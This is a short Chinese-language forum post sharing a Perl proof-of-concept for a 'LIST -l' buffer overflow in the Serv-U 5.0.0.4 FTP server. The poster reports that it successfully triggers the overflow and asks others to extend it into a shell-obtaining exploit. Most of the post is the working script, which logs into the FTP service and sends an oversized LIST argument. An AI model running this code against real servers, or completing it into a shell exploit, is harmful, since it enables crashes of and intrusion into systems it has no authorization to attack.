注册
登录
| 关键词： print remote ftp while last sleep host 代码 测试 Socket |
前段时间Serv-u3.x/4.x/5.0出现了长文件名溢出!厂商更新了5.0.0.4，现在国外又出现了5.0.0.4的list -l溢出!偶测试过了，可以成功的产生溢出，但是作者只给出了溢出代码!希望哪位牛人能把获得shell的一起写出来!测试代码如下:#!/usr/bin/perluse IO::Socket;$host = "192.168.0.1";$remote = IO::Socket::INET->new ( Proto => "tcp",PeerAddr => $host,PeerPort => "21",);unless ($remote) { die "cannot connect to ftp daemon on $host" }print "connected\n";while (<$remote> ){print $_;if (/220 /){last;}}$remote->autoflush(1);my $ftp = "USER username\r\n";print $remote $ftp;print $ftp;sleep(1);while (<$remote> ){print $_;if (/331 /){last;}}$ftp = join("", "PASS ", "yourpassword", "\r\n");print $remote $ftp;print $ftp;sleep(1);while (<$remote> ){print $_;if (/230 /){last;}}my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");print $remote $ftp;print $ftp;sleep(1);while (<$remote> ){print $_;if (/250 Done/){last;}}close $remote; |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
